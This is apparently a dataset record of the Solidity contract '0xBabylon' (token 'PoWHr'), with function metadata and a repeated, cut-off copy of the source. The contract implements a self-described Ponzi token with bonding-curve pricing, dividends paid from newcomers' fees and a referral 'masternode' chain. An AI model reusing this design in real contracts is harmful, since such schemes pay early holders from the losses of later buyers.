tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellBonds(uint256 _amount) public { uint256 bondBalance = holdings[msg.sender]; if(_amount <= bondBalance && _amount > 0){ sell(_amount); }else{ sell(bondBalance); } } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellBonds( holdings[msg.sender] ); withdraw(msg.sender); } function reffUp(address _reff) internal{ address sender = msg.sender; if (_reff == 0x0000000000000000000000000000000000000000 || _reff == msg.sender){ _reff = reff[sender]; } if( holdings[_reff] < stakingRequirement ){//if req not met if(lastGateway == 0x0000000000000000000000000000000000000000){ lastGateway = sender;//first buyer ever _reff = sender;//first buyer is their own gateway/masternode //initialize fee pre-mine investSum = msg.value * fee_premine; withdrawSum = msg.value * fee_premine; } else _reff = lastGateway;//the lucky last player gets to be the gate way. } reff[sender] = _reff; } function rgbLimit(uint256 _rgb)internal pure returns(uint256){ if(_rgb > 255) return 255; else return _rgb; } //BONUS //when you don't pick a color, the contract will need a default. which will be your current color function edgePigment(uint8 C)internal view returns (uint256 x) { uint256 holding = holdings[msg.sender]; if(holding==0) return 0; else{ if(C==0){ return 255 * color_R[msg.sender]/holding; }else if(C==1){ return 255 * color_G[msg.sender]/holding; }else if(C==2){ return 255 * color_B[msg.sender]/holding; } } } function fund(address reffo, address forWho) payable public { fund_color( reffo, forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } function fund_color( address _reff, address forWho,uint256 cR,uint256 cG,uint256 cB) payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. reffUp(_reff); if (msg.value > 0.000001 ether){ investSum += msg.value; cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); buy( forWho ,cR,cG,cB); lastGateway = msg.sender; } else { revert(); } } function reinvest_color(address forWho,uint256 cR,uint256 cG,uint256 cB) public { cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); processReinvest( forWho, cR,cG,cB); } function reinvest(address forWho) public { processReinvest( forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } // Function that returns the (dynamic) price of a single token. function price(bool buyOrSell) public constant returns (uint) { if(buyOrSell){ return getTokensForEther(1 finney); }else{ uint256 eth = getEtherForTokens(1 finney); uint256 fee = fluxFeed(eth, false, false); return eth - fee; } } function fluxFeed(uint256 _eth, bool slim_reinvest,bool newETH) public constant returns (uint256 amount) { uint256 finalInvestSum; if(newETH) finalInvestSum = investSum-_eth;//bigger buy bonus else finalInvestSum = investSum; uint256 contract_ETH = finalInvestSum - withdrawSum; if(slim_reinvest){//trickleSum can never be 0, trust me return _eth/(contract_ETH/trickleSum) * contract_ETH /investSum; }else{ return _eth * contract_ETH / investSum; } /* Fee 100eth IN & 100eth OUT = 0% tax fee (returning 1) 100eth IN & 50eth OUT = 50% tax fee (returning 2) 100eth IN & 33eth OUT = 66% tax fee (returning 3) 100eth IN & 25eth OUT = 75% tax fee (returning 4) 100eth IN & 10eth OUT = 90% tax fee (returning 10) */ } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor; } // Internal balance function, used to calculate the dynamic reserve value. function contractBalance() internal constant returns (uint256 amount){ // msg.value is the amount of Ether sent by the transaction. return investSum - withdrawSum - msg.value - trickleSum; } function trickleUp(address fromWho) internal{//you can trickle up other people by giving them some. uint256 tricks = tricklingPass[ fromWho ];//this is the amount moving in the trickle flo if(tricks > 0){ tricklingPass[ fromWho ] = 0;//we've already captured the amount so set your tricklingPass flo to 0 uint256 passUp = tricks * (investSum - withdrawSum)/investSum;//to get the amount we're gonna pass up. divide by trickTax uint256 reward = tricks-passUp;//and our remaining reward for ourselves is the amount we just slice off subtracted from the flo address finalReff;//we're not exactly sure who we're gonna pass this up to yet address reffo = reff[ fromWho ];//this is who it should go up to. if everything is legit if( holdings[reffo] >= stakingRequirement){ finalReff = reffo;//if that address is holding enough to stake, it's a legit node to flo up to. }else{ finalReff = lastGateway;//if not, then we use the last buyer } tricklingPass[ finalReff ] += passUp;//so now we add that flo you've passed up to the tricklingPass of the final Reff pocket[ finalReff ] += reward;// Reward emit onTrickle(fromWho, finalReff, reward, passUp); } } function buy(address forWho,uint256 cR,uint256 cG,uint256 cB) internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); //Fee to pay existing holders, and the referral commission uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(msg.value,false,true); trickle = fee/trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } uint256 numEther = msg.value - (fee+trickle);// The amount of Ether used to purchase new tokens for the caller. uint256 numTokens = 0; if(numEther > 0){ numTokens = getTokensForEther(numEther);// The number of tokens which can be purchased for numEther. buyCalcAndPayout( forWho, fee, numTokens, numEther, reserve() ); addPigment(forWho, numTokens,cR,cG,cB); } if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff or if that masternode is weak, then reset it if(reff[forWho] == 0x0000000000000000000000000000000000000000 || (holdings[reff[forWho]] < stakingRequirement) ) reff[forWho] = msg.sender; emit onBoughtFor(msg.sender, forWho, numEther, numTokens, reff[forWho] ); }else{ emit onTokenPurchase(forWho, numEther ,numTokens , reff[forWho] ); } trickleSum += trickle;//add to trickle's Sum after reserve calculations trickleUp(forWho); } function buyCalcAndPayout(address forWho,uint256 fee,uint256 numTokens,uint256 numEther,uint256 res)internal{ // The buyer fee, scaled by the scaleFactor variable. uint256 buyerFee = fee * scaleFactor; if (totalBondSupply > 0){// because ... // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. uint256 bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / ( totalBondSupply + numTokens) / numEther) *(uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. uint256 holderReward = fee * bonusCoEff; buyerFee -= holderReward; // The Ether value per token is increased proportionally. earningsPerBond += holderReward / totalBondSupply; } //resolve reward tracking stuff avgFactor_ethSpent[forWho] += numEther; // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalBondSupply += numTokens; // Assign the tokens to the balance of the buyer. holdings[forWho] += numTokens; // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... int256 payoutDiff = (int256) ((earningsPerBond * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[forWho] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){ uint256 holdingsOfSender = holdings[msg.sender]; return value * ( holdingsOfSender - reduce) / holdingsOfSender; } function sell(uint256 amount) internal { uint256 numEthersBeforeFee = getEtherForTokens(amount); // x% of the resulting Ether is used to pay remaining holders. uint256 fee = 0; uint256 trickle = 0; if(totalBondSupply != holdings[msg.sender]){ fee = fluxFeed(numEthersBeforeFee, false,false); trickle = fee/ trickTax; fee -= trickle; tricklingPass[msg.sender] +=trickle; } // Net Ether for the seller after the fee has been subtracted. uint256 numEthers = numEthersBeforeFee - (fee+trickle); //How much you bought it for divided by how much you're getting back. //This means that if you get dumped on, you can get more resolve tokens if you sell out. uint256 resolved = mint( calcResolve(msg.sender,amount,numEthersBeforeFee), msg.sender ); // *Remove* the numTokens which were just sold from the total supply. avgFactor_ethSpent[msg.sender] = TOKEN_scaleDown(avgFactor_ethSpent[msg.sender] , amount); color_R[msg.sender] = TOKEN_scaleDown(color_R[msg.sender] , amount); color_G[msg.sender] = TOKEN_scaleDown(color_G[msg.sender] , amount); color_B[msg.sender] = TOKEN_scaleDown(color_B[msg.sender] , amount); totalBondSupply -= amount; // Remove the tokens from the balance of the buyer. holdings[msg.sender] -= amount; int256 payoutDiff = (int256) (earningsPerBond * amount);//we don't add in numETH because it is immedietly paid out. // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalBondSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. uint256 etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. uint256 rewardPerShare = etherFee / totalBondSupply; // The Ether value per token is increased proportionally. earningsPerBond += rewardPerShare; } fullCycleSellBonds(numEthers); trickleSum += trickle; trickleUp(msg.sender); emit onTokenSell(msg.sender,holdings[msg.sender]+amount,amount,numEthers,resolved,reff[msg.sender]); } // Converts the Ether accrued as dividends back into Staking tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{ // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint256 pocketETH = pocket[msg.sender]; uint value_ = (uint) (balance + pocketETH); pocket[msg.sender] = 0; // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(value_, true,false );// reinvestment fees are lower than regular ones. trickle = fee/ trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) uint256 res = reserve() - balance; // The amount of Ether used to purchase new tokens for the caller. uint256 numEther = value_ - (fee+trickle); // The number of tokens which can be purchased for numEther. uint256 numTokens = calculateDividendTokens(numEther, balance); buyCalcAndPayout( forWho, fee, numTokens, numEther, res ); addPigment(forWho, numTokens,cR,cG,cB); if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff, then reset it address reffOfWho = reff[forWho]; if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) ) reff[forWho] = msg.sender; emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]); }else{ emit onReinvestment(forWho,numEther,numTokens,reff[forWho]); } trickleUp(forWho); trickleSum += trickle - pocketETH; } function addPigment(address forWho, uint256 tokens,uint256 r,uint256 g,uint256 b) internal{ color_R[forWho] += tokens * r / 255; color_G[forWho] += tokens * g / 255; color_B[forWho] += tokens * b / 255; emit onColor(forWho,r,g,b,color_R[forWho] ,color_G[forWho] ,color_B[forWho] ); } // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount){ return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ; } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply; } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? uint256 reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalBondSupply ) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n); } function () payable public { if (msg.value > 0) { fund(lastGateway,msg.sender); } else { withdraw(msg.sender); } } address public resolver = this; uint256 public totalSupply; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name = "0xBabylon"; uint8 public decimals = 18; string public symbol = "PoWHr"; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Resolved(address indexed _owner, uint256 amount); function mint(uint256 amount,address _account) internal returns (uint minted){ totalSupply += amount; balances[_account] += amount; emit Resolved(_account,amount); return amount; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function calcResolve(address _owner,uint256 amount,uint256 _eth) public constant returns (uint256 calculatedResolveTokens) { return amount*amount*avgFactor_ethSpent[_owner]/holdings[_owner]/_eth/1000000; } function transfer(address _to, uint256 _value) public returns (bool success) { require( balanceOf(msg.sender) >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ uint256 allowance = allowed[_from][msg.sender]; require( balanceOf(_from) >= _value && allowance >= _value ); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function resolveSupply() public view returns (uint256 balance) { return totalSupply; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); int256 z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } }
getMeOutOfHere
function getMeOutOfHere() public { llBonds( holdings[msg.sender] ); withdraw(msg.sender);
// The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 5754, 5866 ] }
1,480
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denominator uint256 constant fee_premine = 30;//Fee Premine. So that the first buyer isn't a black hole int constant price_coeff = 0x44fa9cf152cd34a98; // Array between each address and their number of tokens. mapping(address => uint256) public holdings; //cut down by a percentage when you sell out. mapping(address => uint256) public avgFactor_ethSpent; mapping(address => uint256) public color_R; mapping(address => uint256) public color_G; mapping(address => uint256) public color_B; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => address) public reff; mapping(address => uint256) public tricklingPass; mapping(address => uint256) public pocket; mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalBondSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; uint256 public trickleSum; uint256 public stakingRequirement = 1e18; address public lastGateway; uint256 constant trickTax = 3; //divides flux'd fee and for every pass up //flux fee ratio and contract score keepers uint256 public withdrawSum; uint256 public investSum; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerBond; event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onBoughtFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onReinvestFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onTokenSell( address indexed customerAddress, uint256 totalTokensAtTheTime,//maybe it'd be cool to see what % people are selling from their total bank uint256 tokensBurned, uint256 ethereumEarned, uint256 resolved, address indexed gateway ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted, address indexed gateway ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event onCashDividends( address indexed ownerAddress, address indexed receiverAddress, uint256 ethereumWithdrawn ); event onColor( address indexed customerAddress, uint256 oldR, uint256 oldG, uint256 oldB, uint256 newR, uint256 newG, uint256 newB ); event onTrickle( address indexed fromWho, address indexed finalReff, uint256 reward, uint256 passUp ); // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function holdingsOf(address _owner) public constant returns (uint256 balance) { return holdings[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); //uint256 pocketBalance = tricklePocket[msg.sender]; //tricklePocket[msg.sender] = 0; // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); uint256 pocketETH = pocket[msg.sender]; pocket[msg.sender] = 0; trickleSum -= pocketETH; balance += pocketETH; // Send the dividends to the address that requested the withdraw. withdrawSum += balance; to.transfer(balance); emit onCashDividends(msg.sender,to,balance); } function fullCycleSellBonds(uint256 balance) internal { // Send the cashed out stake to the address that requested the withdraw. withdrawSum += balance; msg.sender.transfer(balance); emit onWithdraw(msg.sender, balance); } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellBonds(uint256 _amount) public { uint256 bondBalance = holdings[msg.sender]; if(_amount <= bondBalance && _amount > 0){ sell(_amount); }else{ sell(bondBalance); } } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellBonds( holdings[msg.sender] ); withdraw(msg.sender); } function reffUp(address _reff) internal{ address sender = msg.sender; if (_reff == 0x0000000000000000000000000000000000000000 || _reff == msg.sender){ _reff = reff[sender]; } if( holdings[_reff] < stakingRequirement ){//if req not met if(lastGateway == 0x0000000000000000000000000000000000000000){ lastGateway = sender;//first buyer ever _reff = sender;//first buyer is their own gateway/masternode //initialize fee pre-mine investSum = msg.value * fee_premine; withdrawSum = msg.value * fee_premine; } else _reff = lastGateway;//the lucky last player gets to be the gate way. } reff[sender] = _reff; } function rgbLimit(uint256 _rgb)internal pure returns(uint256){ if(_rgb > 255) return 255; else return _rgb; } //BONUS //when you don't pick a color, the contract will need a default. which will be your current color function edgePigment(uint8 C)internal view returns (uint256 x) { uint256 holding = holdings[msg.sender]; if(holding==0) return 0; else{ if(C==0){ return 255 * color_R[msg.sender]/holding; }else if(C==1){ return 255 * color_G[msg.sender]/holding; }else if(C==2){ return 255 * color_B[msg.sender]/holding; } } } function fund(address reffo, address forWho) payable public { fund_color( reffo, forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } function fund_color( address _reff, address forWho,uint256 cR,uint256 cG,uint256 cB) payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. reffUp(_reff); if (msg.value > 0.000001 ether){ investSum += msg.value; cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); buy( forWho ,cR,cG,cB); lastGateway = msg.sender; } else { revert(); } } function reinvest_color(address forWho,uint256 cR,uint256 cG,uint256 cB) public { cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); processReinvest( forWho, cR,cG,cB); } function reinvest(address forWho) public { processReinvest( forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } // Function that returns the (dynamic) price of a single token. function price(bool buyOrSell) public constant returns (uint) { if(buyOrSell){ return getTokensForEther(1 finney); }else{ uint256 eth = getEtherForTokens(1 finney); uint256 fee = fluxFeed(eth, false, false); return eth - fee; } } function fluxFeed(uint256 _eth, bool slim_reinvest,bool newETH) public constant returns (uint256 amount) { uint256 finalInvestSum; if(newETH) finalInvestSum = investSum-_eth;//bigger buy bonus else finalInvestSum = investSum; uint256 contract_ETH = finalInvestSum - withdrawSum; if(slim_reinvest){//trickleSum can never be 0, trust me return _eth/(contract_ETH/trickleSum) * contract_ETH /investSum; }else{ return _eth * contract_ETH / investSum; } /* Fee 100eth IN & 100eth OUT = 0% tax fee (returning 1) 100eth IN & 50eth OUT = 50% tax fee (returning 2) 100eth IN & 33eth OUT = 66% tax fee (returning 3) 100eth IN & 25eth OUT = 75% tax fee (returning 4) 100eth IN & 10eth OUT = 90% tax fee (returning 10) */ } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor; } // Internal balance function, used to calculate the dynamic reserve value. function contractBalance() internal constant returns (uint256 amount){ // msg.value is the amount of Ether sent by the transaction. return investSum - withdrawSum - msg.value - trickleSum; } function trickleUp(address fromWho) internal{//you can trickle up other people by giving them some. uint256 tricks = tricklingPass[ fromWho ];//this is the amount moving in the trickle flo if(tricks > 0){ tricklingPass[ fromWho ] = 0;//we've already captured the amount so set your tricklingPass flo to 0 uint256 passUp = tricks * (investSum - withdrawSum)/investSum;//to get the amount we're gonna pass up. divide by trickTax uint256 reward = tricks-passUp;//and our remaining reward for ourselves is the amount we just slice off subtracted from the flo address finalReff;//we're not exactly sure who we're gonna pass this up to yet address reffo = reff[ fromWho ];//this is who it should go up to. if everything is legit if( holdings[reffo] >= stakingRequirement){ finalReff = reffo;//if that address is holding enough to stake, it's a legit node to flo up to. }else{ finalReff = lastGateway;//if not, then we use the last buyer } tricklingPass[ finalReff ] += passUp;//so now we add that flo you've passed up to the tricklingPass of the final Reff pocket[ finalReff ] += reward;// Reward emit onTrickle(fromWho, finalReff, reward, passUp); } } function buy(address forWho,uint256 cR,uint256 cG,uint256 cB) internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); //Fee to pay existing holders, and the referral commission uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(msg.value,false,true); trickle = fee/trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } uint256 numEther = msg.value - (fee+trickle);// The amount of Ether used to purchase new tokens for the caller. uint256 numTokens = 0; if(numEther > 0){ numTokens = getTokensForEther(numEther);// The number of tokens which can be purchased for numEther. buyCalcAndPayout( forWho, fee, numTokens, numEther, reserve() ); addPigment(forWho, numTokens,cR,cG,cB); } if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff or if that masternode is weak, then reset it if(reff[forWho] == 0x0000000000000000000000000000000000000000 || (holdings[reff[forWho]] < stakingRequirement) ) reff[forWho] = msg.sender; emit onBoughtFor(msg.sender, forWho, numEther, numTokens, reff[forWho] ); }else{ emit onTokenPurchase(forWho, numEther ,numTokens , reff[forWho] ); } trickleSum += trickle;//add to trickle's Sum after reserve calculations trickleUp(forWho); } function buyCalcAndPayout(address forWho,uint256 fee,uint256 numTokens,uint256 numEther,uint256 res)internal{ // The buyer fee, scaled by the scaleFactor variable. uint256 buyerFee = fee * scaleFactor; if (totalBondSupply > 0){// because ... // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. uint256 bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / ( totalBondSupply + numTokens) / numEther) *(uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. uint256 holderReward = fee * bonusCoEff; buyerFee -= holderReward; // The Ether value per token is increased proportionally. earningsPerBond += holderReward / totalBondSupply; } //resolve reward tracking stuff avgFactor_ethSpent[forWho] += numEther; // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalBondSupply += numTokens; // Assign the tokens to the balance of the buyer. holdings[forWho] += numTokens; // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... int256 payoutDiff = (int256) ((earningsPerBond * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[forWho] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){ uint256 holdingsOfSender = holdings[msg.sender]; return value * ( holdingsOfSender - reduce) / holdingsOfSender; } function sell(uint256 amount) internal { uint256 numEthersBeforeFee = getEtherForTokens(amount); // x% of the resulting Ether is used to pay remaining holders. uint256 fee = 0; uint256 trickle = 0; if(totalBondSupply != holdings[msg.sender]){ fee = fluxFeed(numEthersBeforeFee, false,false); trickle = fee/ trickTax; fee -= trickle; tricklingPass[msg.sender] +=trickle; } // Net Ether for the seller after the fee has been subtracted. uint256 numEthers = numEthersBeforeFee - (fee+trickle); //How much you bought it for divided by how much you're getting back. //This means that if you get dumped on, you can get more resolve tokens if you sell out. uint256 resolved = mint( calcResolve(msg.sender,amount,numEthersBeforeFee), msg.sender ); // *Remove* the numTokens which were just sold from the total supply. avgFactor_ethSpent[msg.sender] = TOKEN_scaleDown(avgFactor_ethSpent[msg.sender] , amount); color_R[msg.sender] = TOKEN_scaleDown(color_R[msg.sender] , amount); color_G[msg.sender] = TOKEN_scaleDown(color_G[msg.sender] , amount); color_B[msg.sender] = TOKEN_scaleDown(color_B[msg.sender] , amount); totalBondSupply -= amount; // Remove the tokens from the balance of the buyer. holdings[msg.sender] -= amount; int256 payoutDiff = (int256) (earningsPerBond * amount);//we don't add in numETH because it is immedietly paid out. // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalBondSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. uint256 etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. uint256 rewardPerShare = etherFee / totalBondSupply; // The Ether value per token is increased proportionally. earningsPerBond += rewardPerShare; } fullCycleSellBonds(numEthers); trickleSum += trickle; trickleUp(msg.sender); emit onTokenSell(msg.sender,holdings[msg.sender]+amount,amount,numEthers,resolved,reff[msg.sender]); } // Converts the Ether accrued as dividends back into Staking tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{ // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); // Update the payouts array, 